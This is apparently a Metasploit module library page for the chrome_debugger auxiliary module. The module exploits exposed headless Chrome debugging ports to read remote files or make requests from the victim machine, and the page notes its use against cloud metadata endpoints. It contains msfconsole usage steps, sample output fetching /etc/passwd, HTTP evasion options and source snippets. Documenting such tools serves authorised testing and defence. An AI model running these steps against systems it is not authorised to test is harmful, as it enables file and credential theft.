Chrome Debugger Arbitrary File Read / Arbitrary Web Request - Metasploit
This page contains detailed information about how to use the auxiliary/gather/chrome_debugger metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Chrome Debugger Arbitrary File Read / Arbitrary Web Request
Module: auxiliary/gather/chrome_debugger
Source code: modules/auxiliary/gather/chrome_debugger.rb
Disclosure date: 2019-09-24
Last modification time: 2021-01-29 17:59:14 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888, 9222
List of CVEs: -
This module uses the Chrome Debugger's API to read files off the remote file system, or to make web requests from a remote machine. Useful for cloud metadata endpoints!
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/gather/chrome_debugger
msf auxiliary(chrome_debugger) > show targets
... a list of targets ...
msf auxiliary(chrome_debugger) > set TARGET target-id
msf auxiliary(chrome_debugger) > show options
... show and set options ...
msf auxiliary(chrome_debugger) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module takes advantage of misconfigured headless chrome sessions and either retrieves a specified file off the remote file system, or makes a web request from the remote machine.
This can be useful for retrieving cloud metadata in certain scenarios. Primarily this module targets developers.
A vulnerable Headless Chrome session can be started with the following command:
$ google-chrome --remote-debugging-port=9222 --headless --remote-debugging-address=0.0.0.0
This will start a webserver running on port 9222 for all network interfaces.
Verification Steps
- Start
msfconsole
- Execute
auxiliary/gather/chrome_debugger
- Execute
set RHOST $REMOTE_ADDRESS
- Execute
set RPORT 9222
- Execute either
set FILEPATH $FILE_PATH_ON_REMOTE
orset URL $URL_FROM_REMOTE
- Execute
run
Options
FILEPATH
The file path on the remote you wish to retrieve.
URL
A URL you wish to fetch the contents of from the remote machine.
Note: One or the other must be set!
Scenarios
[*] Attempting Connection to ws://192.168.20.168:9222/devtools/page/CF551031373306B35F961C6C0968DAEC
[*] Opened connection
[*] Attempting to load url file:///etc/passwd
[*] Received Data
[*] Sending request for data
[*] Received Data
[+] Retrieved resource
[*] Auxiliary module execution completed
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Msfconsole Usage
Here is how the gather/chrome_debugger auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/chrome_debugger
msf6 auxiliary(gather/chrome_debugger) > show info
Name: Chrome Debugger Arbitrary File Read / Arbitrary Web Request
Module: auxiliary/gather/chrome_debugger
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2019-09-24
Provided by:
Adam Baldwin (Evilpacket)
Nicholas Starke (The King Pig Demon)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH no File to fetch from remote machine.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 9222 yes The target port (TCP)
TIMEOUT 10 yes Time to wait for response
URL no Url to fetch from remote machine.
Description:
This module uses the Chrome Debugger's API to read files off the
remote file system, or to make web requests from a remote machine.
Useful for cloud metadata endpoints!
Module Options
This is a complete list of options available in the gather/chrome_debugger auxiliary module:
msf6 auxiliary(gather/chrome_debugger) > show options
Module options (auxiliary/gather/chrome_debugger):
Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH no File to fetch from remote machine.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 9222 yes The target port (TCP)
TIMEOUT 10 yes Time to wait for response
URL no Url to fetch from remote machine.
Advanced Options
Here is a complete list of advanced options supported by the gather/chrome_debugger auxiliary module:
msf6 auxiliary(gather/chrome_debugger) > show advanced
Module advanced options (auxiliary/gather/chrome_debugger):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/chrome_debugger module can do:
msf6 auxiliary(gather/chrome_debugger) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the gather/chrome_debugger auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/chrome_debugger) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Must set FilePath or Url
Here is a relevant code snippet related to the "Must set FilePath or Url" error message:
39: deregister_options('SSL')
40: end
41:
42: def run
43: if (datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?) && (datastore['URL'].nil? || datastore['URL'].empty?)
44: print_error('Must set FilePath or Url')
45: return
46: end
47:
48: res = send_request_cgi({
49: 'method' => 'GET',
Bad Response
Here is a relevant code snippet related to the "Bad Response" error message:
49: 'method' => 'GET',
50: 'uri' => '/json'
51: })
52:
53: if res.nil?
54: print_error('Bad Response')
55: return
56: end
57:
58: data = JSON.parse(res.body).pop
59: EM.run do
Invalid JSON
Here is a relevant code snippet related to the "Invalid JSON" error message:
67: end
68:
69: print_status("Attempting Connection to #{data['webSocketDebuggerUrl']}")
70:
71: unless data.key?('webSocketDebuggerUrl')
72: fail_with(Failure::Unknown, 'Invalid JSON')
73: end
74:
75: driver = Faye::WebSocket::Client.new(data['webSocketDebuggerUrl'])
76:
77: driver.on :open do
Unknown failure occurred
Here is a relevant code snippet related to the "Unknown failure occurred" error message:
114: @succeeded = true
115: end
116: end
117:
118: EM::Timer.new(datastore['TIMEOUT']) do
119: EventMachine.stop
120: fail_with(Failure::Unknown, 'Unknown failure occurred') unless @succeeded
121: end
122: end
123: end
124: end
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Related Pull Requests
- #14733 Merged Pull Request: Add latest Rubocop rules
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12818 Merged Pull Request: Adding Cable Haunt WebSocket DoS Module
- #12363 Merged Pull Request: Adding Chrome Debugger Gather Auxiliary Module
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See Also
Check also the following modules related to this module:
- auxiliary/admin/chromecast/chromecast_reset
- auxiliary/admin/chromecast/chromecast_youtube
- auxiliary/scanner/http/chromecast_webserver
- auxiliary/scanner/http/chromecast_wifi
- exploit/multi/browser/chrome_array_map
- exploit/multi/browser/chrome_jscreate_sideeffect
- exploit/multi/browser/chrome_object_create
- exploit/multi/browser/chrome_simplifiedlowering_overflow
- exploit/windows/browser/chrome_filereader_uaf
- post/multi/gather/chrome_cookies
- post/windows/gather/credentials/chrome
- post/windows/gather/enum_chrome
- auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
- auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key
- exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx
- exploit/linux/http/sonicwall_cve_2021_20039
- exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
- exploit/linux/local/cve_2021_3493_overlayfs
- exploit/linux/local/cve_2021_38648_omigod
- exploit/linux/misc/cve_2021_38647_omigod
- exploit/multi/http/cve_2021_35464_forgerock_openam
- exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539
- exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077
- exploit/windows/http/sitecore_xp_cve_2021_42237
- exploit/windows/local/cve_2021_1732_win32k
- exploit/windows/local/cve_2021_21551_dbutil_memmove
- exploit/windows/local/cve_2021_40449
- exploit/multi/misc/nodejs_v8_debugger
- exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation
- exploit/multi/misc/java_jdwp_debugger
Authors
- Adam Baldwin (Evilpacket)
- Nicholas Starke (The King Pig Demon)
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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